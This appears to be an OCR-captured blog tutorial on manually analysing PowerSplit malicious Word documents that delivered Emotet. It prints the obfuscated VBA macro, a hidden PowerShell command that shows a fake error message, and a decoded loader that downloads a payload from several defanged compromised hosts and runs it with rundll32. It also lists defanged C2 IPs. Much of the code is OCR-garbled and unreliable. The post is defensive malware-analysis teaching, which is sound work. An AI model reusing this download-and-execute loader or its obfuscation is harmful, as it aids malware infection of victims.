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Wow. It’s been a long time since my last blog post (~ 2 years). The new year has inspired me to dust off some cobwebs and

produce a blog post that hopefully someone can learn from.

In this post, I’ll be covering how to perform manual analysis of the new PowerSplit malicious documents (maldocs) that
were first seen in the wild starting in mid/late December 2020. Thus far, I’ve only seen this version of PowerSplit delivering

Emotet but in the past it has delivered other families such as Retefe and Gozi ISFB.

Preferably, initial analysis of these types of maldocs would simply consist of submitting the sample some kind of sandbox
environment. Since PowerSplit doesn’t employ any kind of anti-analysis or anti-vm controls, other than some obfuscation,
the sample should fully detonate and the malicious powershell command executed by the maldoc should be present within
the detonation output. The target audience for this post are those who either want to get their hands dirty or do not have the

ability to submit their sample to a sandbox.

Note for the reader: My analysis in this post details the shortcut I use in order to quickly get to the important artifacts such
as malicious command executed by the maldoc and the corresponding C2 URLs embedded within. This shortcut skips over a
few concepts like how the macro is automatically executed when the document is opened and how I determined that

Ddyw4mboy?7b (referenced later on) is an instance of the winmgmtS:win32_process class for the sake of brevity.

Sample for reference:
https://www.virustotal.com/gui/file/1b14150ed4bc2faaddadc5e2096f77175c8274927c13aae437a9¢cc57{f26fd3b/

Initial Setup

Copy the maldoc into a virtual machine (VM) isolated from the network (Host-Only mode). This is kind of a big deal.

Triple check that this host doesn’t have network access to anything.

Within the isolated VM, open the maldoc with Microsoft Word. You should be presented with something similar to this:

FILE TOOLS VIEW

I SECURITY WARNING Macros have been disabled. Enable Content

] Office 365 B8 Microsoft

THIS DOCUMENT IS PROTECTED.

Previewing is not available for protected documents.

You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
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Enable editing by selecting View —> Edit Document from the toolbar menu.

Ensure that you have the Developer tab enabled (File —> Options —> Customize Ribbon —> Add ‘Developer’ to the Main
Tabs). You should see the Developer tab, like so:

@ H s

FILE HOME INSERT DESIGMN PAGE LAYOUT REFERENCES MAILINGS REVIEW VIEW DEVELOPER

\J DL_? 2T Record Macro ,;‘?} Aa Design Mode E D m

. Pause Recording Properties . 5
Visual Macros Add-Ins  COM _ XML Mapping Block Restrict  Document Document
: = - -
Basic ! Macro Security Add-Ins =i Group Pane Authors - Editing | Template  Panel
Code Add-Ins Controls Mapping Protect Templates
1 SECURITY WARNING Macros have been disabled. Enable Content
1] Office 365 B Microsoft

THIS DOCUMENT IS PROTECTED.

Previewing is not available for protected documents.

You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.

PAGE1OF1 1WORD [

Analysis in VB Editor

On the Developer tab, click the Visual Basic button. This will open the Visual Basic (VB) Editor where you can access the
embedded macros. Locate the module that contains macro code. Thus far, these PowerSplit maldocs have only contained
two entries in the modules section. In this example, one module is named E2ajbo3kwzka_d5z and the other is

Qtep_eof7eoc0a. As shown in this screenshot, the module Qtep_eof7eoc0a is empty. So, we can ignore it.
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” Microsoft Visual Basic for Applications - 3165902-8540 [design] - olEl
File Edit View [nset Fomat Debug Run ook Add-ns Window Help

B&E-d s oo bou oS EW 2@ calt
Project - X —
S x 1 3165902-8540 - J84qpb_vkjncthq (Co... [ = |[ B | & |

= =3 ]
= - |Document v/ open v
&3 Microsoft Word Objects Private Sub Document_open () =
384pb_vkinctha i
-1 Forms
525 Modues
& Ezaboonzka_dSz
¥ Qiep_eof7eacta
&[] References
-8 Normal 3165902-8540 - E2ajbo3kwzka_dSz (Code) Ytep_eof7e
(General) v \cmwx«mnvm (General) +| (Deciarations) v
Function RE4sbrq_f0a06x (Jbupfc_3nbjucl) =l =
GeTo yalsfFL
Dim wBoOSH As String
Cpen "OyaE1DCE.UpHzEp. iyQREJICIUM For Bimary As 137
Put #137, , wBoOSH
Close #137
yalsFI:
GoTo £OvIIBe
Properties - Qtep_eof7eoct: X | Dim RXGTL As String
Open "v1JgH.UtTqAcBFI.ftWSDNJ" For Binary As 125
Qtep_coffeocts Hodde vl Put 125, , KXGT1
Alphabetic | Categorized Close #125
(e [qiep_eofeocts £ovzIEC:
GoTo dPG@LCDI
Dim NXAZADuD As String
Open "YGKua.nygsJIB.F3JfGW" For Binary As 155
Put #155, , NXAZADuD
Close #155
dPGglCDI:
Rf4sbrq_f0a06x = VBA.Replace _
(Joupfc_3nbjucl, "J" + ") (3" + "s2)" + "(", GétimlavaiaybimS3)
GoTo xcBKDEDiS
Dim geygIGHES As String
Cpen "xbyED.pNkya.qglyExERD" For Binary As 246
Put $246, , gCYQIGHEJ
Close #246
xcBKDBDHs :
GoTo BBsKIJKGJ
Dim DmMEDGCIF As String
Open "WjGFr.CrdbdTP.KiDXJmC" For Binary As 23]
Put $230, , DmMFDGCIF
Cleose #230
EBSKITKGI:
GoTo HceDHSBT
Dim criwDE As String
Gpen "crGHzAx.HRIOAE.kssuvio® For Bpfary As 116
Function C27kgwxdfjoixzmv()
on Error Resume Next
v v
== < > =18 L2

In the module that contains the code (E2ajbo3kwzka_d5z), scroll to the very bottom and then slowly scroll up, looking for
the pattern:

<random_string>.Create <random_string>(<random_string>), <random_string>,<random_string>

It will likely be the first ‘long’ line you will encounter as you scroll up. In this sample, it is on line 233 of the macro:

Ddyw4mboy7b.Create Jmz4_bcx3_h(Kb3vxm9@vt@_1gn8r3), Zjokk9rvc7emht, Coyz3quoogwk6on

Breaking down what this means

Ddyw4mboy7b is an instance of the winmgmtS:win32_process class. The Create function of this class is being called with

3 arguments:

Argl = Jmz4_bcx3_h(Kb3vxm90vt0_lgn8r3)
Arg?2 = Zjokk9rvc7emht
Arg3 = Coyz3quoogwk6on

Microsoft’s documentation on win32_process’s Create function says that the first argument
(Jmz4_bcx3_h(Kb3vxm90vt0_lgn8r3)) passed to the Create function is the CommandLine value to be executed. The value
being passed is actually a call to a function named Jmz4_bcx3_h. This is the maldoc’s string decoder function that takes in

an encoded string, stored in the variable Kb3vxm90vt0_lgn8r3, and returns the decoded version.

Arg?2 (Zjokk9rvc7emht) and Arg3 (Coyz3quoogwk6on) represent the CurrentDirectory and ProcessStartupInformation
respectively. For the purposes of this analysis, we dont care about Arg2 and Arg3... but we need to somehow capture the

decoded value that is ultimately passed as Argl.

To do this, we need to first comment out the line containing the call to win32_process’s Create function so that it does not

execute. This can be accomplished by prepending a single quotation mark to the beginning of the line. This essentially
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defangs the maldoc.

Next, we need to capture the decoded Arg1 value, which represents the command that the maldoc is attempting to execute.
We can accomplish this by printing out the result of the string decoder function call that was originally passed as Argl to the

Ddyw4mboy7b.Create function.

There are a few ways to do this but my preferred method is to use Debug.Print(). Add a Debug.Print statement, passing it the

Argl value, just above the line commented. If done right, the macro will look like this:

4 1b14150ed4bc2faaddadc5e2096f77175c8274927c13aaed37a9cc57H26fd3b_3165902-8540 - E2ajbo3kwzka_d5z (Code) ===
(General) v Ri4sbrq_f0ad6x ]
Put #149, , ulayh f
Close #149
RXeMIz:

GoTo VczvEJER

Dim eEBhP As String

Open "rMFaDBIH.tLIPEJ.hpnWBFGJ" For Binary As 106
Put #106, , eEBhP

Close #106

[CZUEJELL

Debug.Print (Jmz4_bcex3 h (Kb3vxm20vt0_lgndr3))

' DdywirboyTh.Create Jmz4_bex3_h (Kb3vxm90vtO_lgn8r3), ZjOkkdrveTemnt, Coyziquoogwkéon

Dim hyoLCIB As String

Open "JdDRkqFg.LxQSvJIF,1kDUG" For Binary As 97
Put #37, , hyoLCIB

Close #327

VKdzoIa:

GoTo WJIlmFA

Dim 1f1cCFHEH As String

Open "VEIgjBIoD.XIcEF.mFxsSHhAy" For Binary As 90
Put #90, , 1flcCFHEH

Close #90

WJIlmFR:

GoTo zkHRAHTHB

Dim HYgzEeH As String

Open "FjaGBJID.lxgCCEGEC.CThwUDHE" For Binary As 133

In order to see the output when the Debug.Print statement is called, we need to enable the ‘Tmmediate Window’. To do this,
either hit CTRL+G or go to View —> Immediate Window within the VB Editor. If done correctly, a new window labeled

Immediate will appear at the bottom of the VB Editor window.
Now save the modified macro in the VB Editor (CTRL+S).

Before moving on to the next step, I must reiterate to only do this within an isolated virtual machine. Even though we
technically defanged THIS document, there is the potential that a different variant could have additional code that
we have not accounted for in this analysis. Failing to detonate in an isolated VM could result in host system infection

and potential spreading to other resources on the network... that would be bad.

Now switch back to the Word document from the VB Editor and click the ‘Enable Content’ button. Doing so will
automatically execute the embedded macro... but this is what we want to happen. We want the macro to execute so that
the string decoding will take place and the decoded string will be printed by the Debug.Print statement that we inserted. The

actual malicious command will not execute because we commented out the line that was responsible for that action.

To see if this worked correctly, go back to the VB Editor and inspect the contents of the Immediate window. You should see

the decoded command that the maldoc was attempting to execute.
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& Microsoft Visual Basic for Applications - 1b14150ed4bc2faa4dadc5e2096177 175¢8274927c13aae437adcc57126fd3b_3165902-8540 - cIEm
File Edit View |nsert Format Debug Run Toels Add-ins  Window Help
ME-d & v IS @ | n1,Colt o
Project - _ x|
L] 1b14150eddbc2faaddadc5e2096177175c8274927c13aae437a9cc57f26d3b_3163902-8540 - E2ajbo3kwzka_d5z (Code) === =]
a = (General) v | Ridsbrq_fda06x v
_C =
-85 Microsoft Word Cbjects Puc #143, , ulavh -
) 84pb_vkincthg Close #149
(C3 Forms RKeltiz 4
53 Modules GoTo VeczvEJER
& E2ajbosinzka_dsz Dim eEBhP As String
i Qtep eaf7eocaa Open "rMFaDBIH.tLIPEJ.hpnWBFGJ" For Binary As 106
(23 References i;ﬂ *12;‘55' SEEGE
Nos 1 03€E,
8 s o
Debug.Print (Jmz4_box3_h (Kb3vimd0vt0_lgner3))
 DayrsmboyT e Onz4 box3 h (KDSVARSOVIO 1gner3), IjOkKSIv
TETE VREEeT
Dim hyoLCIB As String
= 5 Open "JdDRKGFq.LxQSVIIP.1XDUG" For Binary As 97
Put #9 + hyoLCIB
Properties - E2ajbo3kwgX| Close #97
: VRdzoIa:
E2ajbo3kwzki Module v GoTo WJlmFA
Alphabetic | Categorized Dim 1f1cCFHEH As String
o) [E2aibo ke 52 Open "VfIgiBIoD.XICEF.mFxsSHRAy" For Binary As 90
- Put #90, , 1f1cCFHEH
Close #£80
WJILmFA:
GoTo zkHRAHIHB
Dim HYgzEeH As String
Open "FjaGBJD.1lxqCCEgBC.CThwUDHH" For Binary As 133
v
>
immediate E
cmd cmd cmd cmd /c msg $username$ /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD TARKAEUAMWETA A
DEAGACKACGAEACTAQ S SAGUAY QEUAEIARAEPAS S UAGEAUGEZACT ARAAKAE GATUENAEUAT AR TACARKAROAC CANQANACSAIWE L ACCAK A ARMAUGARAC 25 I
20 JWBOAFIAZuAWADYANAR2 AHT AJWAT FuAWAHOAUGRSADAATWAT HIAGQBT TARGAEYAT EEAUQB 5
GATWEpAC AR ANAC AN BZADT ATUALACKAK ACACATWADAC AT VAL AL CXRRQAACGRRAARACKARAARAC HMA JuApACKAKWANADTATwArACGARARN ACKARAANACKARQAr ACCAdN
L P WADACS ARARCAC CAVABOAECATWATACCAK QARACKAKQATACOARAANACGANIARACS ATHE 20 CAK QAR ACS AKARGACCAMGADACCAKARA COAGAR SAR QAT HATACCAGRARAC SATHEWAD: Cond
AFYAR 5 % IWBJAEQRE - 5 % . HGAT, ® RQAoADMAL e
CXAKBoACAIWBKAC AR AnAC KAKAANAC KAX QAT ACC AMUARAC SATWBZAC IRV ACGAKAANACKA WA s ACCAKABGAEMA SABKACCAK AR ACKAKAA ZAC CAXQADAC AJWBZAC, c
KAE 5 1 AGEAEQRUACTAT IACTAL DMAOQA SADEANARAC [——— 5 DIATWASACAAT
v
< >

For this sample, the malicious command being executed by the maldoc is a base64 encoded powershell command that
includes a pop-up message box that is displayed to the victim when run (Note: this command has not been defanged. DO
NOT RUN on un-isolated host):

cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwershell -w hidden -ENCOD

<Slight Tangent>

A vast majority of the code contained within this macro is junk code that has been inserted to cause confusion and to
complicate analysis. In this example, all code pertaining to the writing of some file is junk code and can be removed without

impacting the functionality of the macro. The junk code pattern is:

Dim <random_string> As String
Open "<random_string>" For Binary As <random_int>
Put #<random_int>, , <random_string>

Close #<random_int>

Knowing this, you could clean up the code a bit by doing a find for the following regex pattern and replacing it with

nothing:
Dim.*\nOpen.*\nPut.*\nClose.*

Additionally, since control flow is executed in order and doesn’t jump around, the GoTo statements included can also be

considered junk. Doing a similar find/replace for the following pattern cleans up the code even further:
*Goto.*\n{1,}.*:\n

Taking these two steps reduced the total lines of code in the macro from 348 to 24, revealing the true core code that is

leveraged by the maldoc:
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& 1b14150ed4bc2faaddadc5e2096f77175c8274927¢12aae437a9¢c571f26fd3b_3165902-8540 - E2ajbo3kwzka_d5z (C..[ = | & |3

(General) v | | C2Tkgwxdfjoixzmy

W
Function Rf4sbrg f0al6éx(Jbupfc 3nbjucl) f
Rf4sbrg fO0aléx = VBA.Replace _
(Jbupfc 3nbjucl, "J" + ") (3" + "s2)" + "(", GErIimOavataxEims3)
End Function

Function C2T7kgwxdfjoixzmv()

Cn Error Resume Next

mn2b = J84gpb vkjnclhg.StoryRanges.Item(1)

mwkb2 = "J) (332) (pJ) (3s2) ("

MeOmfit8fug = "J) (3" + "=2) (rad) (332" + ") (J) (3=22) (ced) (322" + ") (=J) (3=2) (=J) (32" + "2) (J) (3=2) ("
Pg89pnvinbrg2gS0g = "J) (3232) (" + ":wJ) (332) (J) (33" + "2) (ind) (3=2) (3J) (" + "3s2) (2J) (3s2) (_J) (3=52) ("
X_SuSzhémihmvBkss = "wJ) (332) (i" + "nJ) (3s2) (mJ) (332) (gmJ) (3" + "s2) (td) (3s2) (J) (3=2) ("
YkSlphéfc pk & = ChrW(wdKeyS5)

Yb_4g8jjth4g0_ = X_SuSzhémihmviksE + Yk9lphéfc _pk & + PgifpnvinbrgZgilg + mwb2 + MeOmfit8fug
Ll3nfphkznpmS = Jmz4 bcex3_h(Yb_ 4g8jith4gl )

Set Ddywdmboy7b = CreateObject (L13nfphkznpm5)

Kb3vxma0ve0 lgns8r3 = Mid(mn2Zb, (5), Len(mnlZk))

Ide4rr.boy7b.Creat,e Jmz4 bcx3 h (Eb3vam90vt0 lgn8r3), ZjO0kkSrvcTemht, Covz3guoogwkéon I

End Function

Function Jmz4 bex3_h(Um3fb4tibja)

On Error Resume Next

SinkZzedlfuamgemgl = (Um3fb4tibja)

Vkzpocshvaual = Rf4sbrg flal6x (Siuk2cdlfuamgemgl)
Jmz4 bcx3 h = Vkzpocshvaual

End Function

il
~
W

</Slight Tangent>

Encoded PowerShell Analysis

Once base64-decoded, the heavily encoded powershell script being executed is:

1

10

11

12

13

14

15

$E3Sy =

SeT-ITEM VARIabLE:i7RpVz

$K309qw1  =((
( Ls wvariAble:i7rPvZ ).valUe::
$Nmhlwmf =((

$0jz_wa7 = ( 'M" +(

[TYPE] (
'M.Io.D" , 'iRe' ,

"{aH{3HeH{1{5H{2}"
'TORY" , 'Ste' , 'sy' , 'C'" ) ;

C [mYPE] ( "{1H4H2HOM6I{3HT7H5}" -f

'"ET.SeRVi" , 'S" , 'TEm.N" , 'INT' , 'yS' , 'AnAgEr' , 'CePo' , 'M" )) ;

$Xsejjoo =( 'N' +( ‘'avc' + 'lg' )+ 'u' );

$S1frigp = $Rpb56t4 + [char] (64) + $U9nybjs ;

$Wwuhcfs =(( 'Um' + '4k' )+ 'pq' );

( gET-vARIaBle e3sY -vAlUeOn ):: "CReaTEDire‘'c‘ToRY" ( $HOME + (( 'Y' + 'b' + 'sR'
'ge64' + ‘'6rYbs' + 'Q" + '9' )+( '@xm" + 'rq' + 'Yb' )+ 's' ) -REP1aCe
"Y'+ 'bs' ), [cHAr] 92));

'Rg" + 'rm" )+( 'b2' + '8' ));
"SEcUri‘TYpRo'TOc‘'ol" = (( 'Tls'" + "1'" )+ '2' );
'X3b6' + 'g' )+ 'a' + ‘o' );

|8jk1| + |V4| ));

$Xgtwzgh =(( 'Cc' + 'koh' )+ '16' );

$Qgayubh =( 'B' +( 'e6' + 'f' )+( 'r'" + 'w@' ));
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16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31
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$Jdgzabo = $HOME +(( '{@' + '}Rg@ed6r' + '{' + '0}Q90' + ‘'xmrq{' + 'O} ) -F
[ChAR] 92)+ $0jz_wa7 +(( '.' + 'dl' )+ 'U' );

$NO5g5t5 = '0' +( ‘' o+ '3' o+ ‘'e2pf' ));

$6khm1tg = neW-Ob “j“ECT NeT.WEBClieNt;

$Ikdyso =(((( 'ht' + "t' + 'p:J' + ")(3s2)' N+ (" + 'I(G3s2' o+ ") )+

(C "(zh" + 'o'" )N+( 'ngs' + 'h'" + ‘'ixingc' + ‘hua' )+( 'n" + 'g." )+ ‘¢’ + 'om' +
(C "2)3s2" + )" N+ (" + twp' o+ -+ Tadmind' )+(C )T o N)+(C "3sT o+ '2)T )+
(C "(0Tmd" + ")(" + "3s'" + '2)(@" ))+( ‘'ht' + "t'" H)+( "p' + "' )+

(C D'+ 13820 D+ D+ 30 0 DC + 3T e 2+ )

o+ w4+ wt o+ w4+ tagre' o+ 'al )+ 'u' o#( 'ds' o+ "tu' )+( 'd" o+ 'io' )+
(C ".c" o+ 'omd)" 4+ "(3s' )+ 2" +((C "Y' o+ o' + 'cs' )+

(C"3" + )" o+ '(3s2)" ))+(C '(FGnd' o+ )" o+ (" o+ '3+ 's2)(@http:Jd)

"o+ "3+ st H+(C "DC + "D+ T(GBsT N+ "Dk o+ ot N+ 'rt o+

( 'ea' + 'nk" + "id" )+( 's' + ‘'ed' )+( ‘'u.c' + Tom" )+(( 1" o+ '3 )+ ‘'s2' +
(C D0+ "wp-co’ + ' ))+( ten' + 't (DT NH( G+ "D )+

( "2¢" + 'QY H)+(C '"ThIY o+ )Y oN+(C (3T o+ st N+(C ')t o+ (Bht" + 't' o+ 'p:d)
G 16 D O G G S S D T L G

( 'exp' + 'edi' )+ "ti' + 'o' +( 'ng" + 'ue' )+ 'st' + '.c' + 'o' + 'm)" +(( ")
(" oNHC "3t o+ 20+ (XD NH(C 3T+ ') )+

(C '+ enttp' + s De D (R 3T+ D)+ QT+ DB )

(C "s'" o+ " N+C sut o+ rto)+ "1t o4 'agr' 4+ "o )4 'f' o+ 'res' + 'h.' o)+
(feo' o+ mH(C UGS o+ 20 ) Dse’ ¢ Tre' D+(( versd)' + (s’ )+(( '2)
("o MO+ VDT o+ T+ (C 'ID(3s2T o+ ) o+ '@ )+ htt' o+ 'prt o+ ')

(3" N+ 's2t o+ (C )" o+ () o+ "(3sT N+ "D)(g" o+ e 4+ of' )+

¢ 'f' + 'og" )+ 'le' +( ‘'mus' + 'ic" + "." )+(C 'comd)' + (3" + 's2)" + (" + ‘wp-
a' o+ 'd'oNH(C 'mit o+ 'nt o+ D) NDH(C "3s)(x o+ "GN o+ 's2)' o+ (U o))+ et o+
C 'h" o+ ttpt )+(C s:D)(CT o+ '3To+ 's2' ))+(C ) o+ (AT NH(C ) N+ '3sT o+ '2)
(" N+ d' o+ tag" )+( 'r' + ‘'ani' )+ 't' +( ‘'egiare' + '.co' + 'mJ'" )+ )" +

C "(3s2' + )" o+ (U 4+ 'w' o+ p-t o )+( 'a' 4+ 'dmin' )#(C '3 o+ )

"o+ "3+ st 2 #+(C )T o+ "(GCHIT o+ )3T o)+ st o+ "2t o+ )

(" )))). "RePla‘Ce" (((CC '1(3" + 's' N+(C '2" + )" ), [array] /" ),

( 'hw' + 'e' ))[0]). "S'PUiT" ( $Biy7vfz + $SUfrigp + $Z7vulcy );

$Dmqi8pi =( 'P' +( 'jdu' + 'dc9' ));
foreach ( $Zp5Sknry in $Jkdys@o | S'ORt-‘oBJ'E‘Ct {g‘ET-r‘An‘DOm}){
try{
$Gkhm1tg . "DOwnlo‘A‘DfILE" ( $ZpSknry ,  $Jdgzabo );
$ZdcjOcn =( 'H' +( '3" + 'qO9%' )+ 'q' );
If  ((&8C 'Get-It' + 'e' + 'm" ) $1dgza50 ). "L'eng'TH" -ge 39887) {
& 'r'" + 'un' + 'd1132' ) $)dgzaSo , '#1' . "TOs'T'RinG" ();

$Hao086y =( 'Ok' + 'mb' +( 'e0' + '8" ));
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break ;

$Yvi_mtb =(( 'BO' + 'fo' )+ 'kg' + 'm' )

catch{}

}

$Pf4ctyc :(( IKI + Ijol )+ l4l +( lbml + lgl ))

Note for the reader: formatting of the above code was cleaned up a bit by putting individual statements on their own line as

opposed the original format which had everything on a single line.

Though encoding styles have changed over time, the PowerSplit maldoc has been generally consistent with how it stores and
decodes its C2 URLs. The consistency of this format is actually how PowerSplit got its name (the amalgamation of
“PowerShell” and the Split() function) . Line 16 highlighted in the code above (and displayed below) contains the pattern
that we need to look for. Typically, with PowerSplit, the C2 URLs are contained within a large encoded string (highlighted
in green) that is passed through a replace function (highlighted in red) that performs the ‘decode’. The decoded string, which
now consists of concatenated C2 URLS separated by some delimiter, is then passed to a split function (highlighted in blue)

that converts the single string into an array of C2 URLs:

$Jkdys00=((((‘ht’+" 0+ p:J’+7)(3s2)"))+(‘(“+°T)(352+°) )+((“(zh’+°0°))+(‘ngs’+’h’+’ixingc’+ hua’ ) +(‘n’+°g.”)+’c’+ om’+
((DEs2+) D+ Wp (=4 admind J+(( YD H(35'+2) N H(((OTMI+)(+'35'+2)( @)+ he ') (p'+:0")+
(GBSO TNHEO BN 2H(VD W W W H(Cgre’ ')+ um+(ds+ (' +7i0")+

(C.c+omI) +/(3s )+ 2" +(( (A 0™+ e ) H((+) +(352) DH((FGnI'+) +(+3'+'s2)(@htp:I)()+'3+'s'+((‘2)
(I +EDHED 0T+ (fea+ nk +7id )+ ('s™+ ed Y (“u.c+ om Y H((T)(+3))+52 +((Y(+ wp-co™+m))+
(tem + 0y (T DA S2(DH2HQIHCTII #)DHCE ) H(2) +(@h+ T+ pil)(+352)( ) +())+
(35"+°2) ") +(*+(‘exp™+ edi”)+ 11"+ 0" (N + U WS +.C 0"+ mI (YD H( 35+ 2+ )XN(DH(3s+2) )+
(- @http™+'s:0)) ) +(H((35'+72) + (I +)BINHCS+ DD HCSw+ )1+ (agr'+0")+(F +res+'h ) (‘co’+ ')+
((DEs+2)H()se +'re ) H((Vers)) +(@s N H(2)(+ M)+ VD' +§ +((W)(32+)(+ @ N +(Chte +'p +1)(3)+'s2"+
(Y Q)+ BN+ e+ of NH(E+0g )+ le’+(mus’+ic+. Y H((“coml) +(3+'s2) +/(“+ wp-a’+'d")+

(Cmi+ 0 H D H(B52)(x+I)(E 82+ D+ @ +RHUp V(s I)( 352 () +HIWHODH(3s+2)( D+
(‘d’+ag’)+(‘r’+ ani’)+ U +H(‘egiare’+.co’+H mI’) ) H((352° ) ) H(“H(WH p-)+(“a’+ dmin’ ) H((T’+)())+ 3 s+ 20+
((Y+GCHI+)(3))+’s’+H((‘2°+7)())))-“RePla Ce"((((("I)(3"+'s"))+(("2'+")(")))), ([arrayl('/"),("hw'+'e"))

[0]) . S PHT”($Biy7vfz + $Slfrigp + $Z7vulcv);

To decode, copy and paste the above line into a PowerShell command prompt an hit Enter. This will place the decoded
contents into the variable $Jkdys0Oo. Then type the variable name ($JkdysOo in this case) and hit Enter to display the
variable’s contents, which should be the list of C2 URLs:
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& Windows PowerShell - B

ration. reserved.

Output (Note: URLs manually defanged):

hxxp://zhongshixingchuang][.]com/wp-
admin/OTm/@hxxp://www.greaudstudio[.]com/docs/FGn/@hxxp://koreankidsedu[.Jcom/wp-
content/2cQTh/@hxxp://expeditionquest|.Jcom/X/@hxxps://suriagrofresh[.]Jcom/serevers/MVDjl/@hxxp://geoffoglemusic[.]Jcom/y
admin/x/@hxxps://dagranitegiare[.]com/wp-admin/jCH/

Because we extracted this single line from the script, the code that initializes and assigns values to the variables $Biy7vfz,
$Slfrigp, and $Z7vulcv that are used in the Split function is missing. As a result, the URL string was never properly
converted to an array... but that is ok. We can apply some common sense here and realize that the string was split via the

‘@’ symbol which would have yielded the following output:

hxxp://zhongshixingchuang[.]com/wp-admin/OTm/
hxxp://www.greaudstudio[.]Jcom/docs/FGn/
hxxp://koreankidsedul.]Jcom/wp-content/2cQTh/
hxxp://expeditionquest[.Jcom/X/
hxxps://suriagrofresh[.]com/serevers/MVDjl/
hxxp://geoffoglemusic|.]Jcom/wp-admin/x/

hxxps://dagranitegiare[.]com/wp-admin/jCH/
Emotet Binary

At the time of analysis, these C2 URLs were serving up Emotet.

MD5

SHA1

SHA256

53cccd74cdd275d5388405f26edadded
225923659b850fcf5d3d53acec94de55e4£28114
cfdbcb53551a7a8e87edd6ebe1382981cc6280eed58905870d04219a12801e83
VT Link

Since Emotet analysis isn’t the focus of this blog, I’ll simply suggest here that you use something like the CAPEv2 Sandbox

to also automatically extract the Emotet configuration from the binary downloaded by the PowerSplit maldoc. For example:

https://capesandbox.com/analysis/110589/#CAPE
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Configured Emotet C2s:

184.66.18[.183:80
202.187.222[.]40:80
167.71.148[.158:443
211.215.18[.193:8080
1.234.65[.161:80
80.15.100[.137:80
155.186.9[.1160:80
172.104.169[.132:8080
110.39.162[.12:443
12.162.84[.]2:8080
181.136.190[ . 186:80
68.183.190[.1199:8080
191.223.36[.]170:80
190.45.24[.]1210:80
81.213.175[.1132:80
181.120.29[.149:80
82.76.111[.1249:443
177.23.7[.1151:80
95.76.153[.1115:80
93.148.247[.1169:80
51.255.165[.1160:8080
213.52.74[.]1198:80
178.250.54[.]208:8080
202.134.4[.]210:7080
138.97.60[.]1141:7080
94.176.234[.]118:443
190.24.243[.1186:80
46.43.2[.195:8080
197.232.36[.1108:80
77.78.196[.1173:443
59.148.253[.]194:8080
212.71.237[.1140:8080
46.101.58[.137:8080
110.39.160[ . 138:443
83.169.21[.]132:7080
189.2.177[.1210:443
81.214.253[.180:443
51.15.7[.]145:80
172.245.248[.1239:8080
177.85.167[.110:80
178.211.45[.166:8080
5.196.35[.1138:7080
71.58.233[.1254:80
168.121.4[.]238:80
149.202.72[.1142:7080
185.183.16[.147:80
191.241.233[.]1198:80
209.236.123[.142:8080
190.114.254[.1163:8080
70.32.84[.174:8080
138.97.60[.]140:8080
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68.183.170[.1114:8080
192.232.229[.153:4143
62.84.75[.]50:80
113.163.216[.]135:80
46.105.114[.]1137:8080
177.144.130[.1105:8080
192.232.229[.154:7080
192.175.111[.1212:7080
35.143.99[.]174:80
81.215.230[.1173:443
1.226.84[.]243:8080
187.162.248[.]1237:80
152.169.22[.167:80
137.74.106[.1111:7080
191.182.6[.1118:80
181.61.182[.]143:80
202.79.24[.]1136:443
50.28.51[.1143:8080
85.214.26[.]7:8080
170.81.48[.]12:80
111.67.12[.1222:8080
177.144.130[.1105:443
188.225.32[.1231:7080
185.94.252[.127:443
12.163.208[.158:80
191.53.80[.]188:80
87.106.46[.1107:8080
122.201.23[.]45:443
181.30.61[.1163:443
104.131.41[.1185:8080
190.195.129[.1227:8090
45.184.103[.173:80
186.146.13[.1184:443
45.16.226[.]1117:443
187.162.250[.123:443
2.80.112[.1146:80
60.93.23[.151:80
24.232.228[.1233:80
190.251.216[.1100:80
105.209.235[.1113:8080
217.13.106[ .114:8080
190.64.88[.]186:443
118.38.110[.1192:80
111.67.12[.1221:8080
201.75.62[.186:80
70.32.115[.1157:8080
188.135.15[.]49:80

Source: https://r3mrum.wordpress.com/2021/01/05/manual-analysis-of-new-powersplit-maldocs-delivering-emotet/
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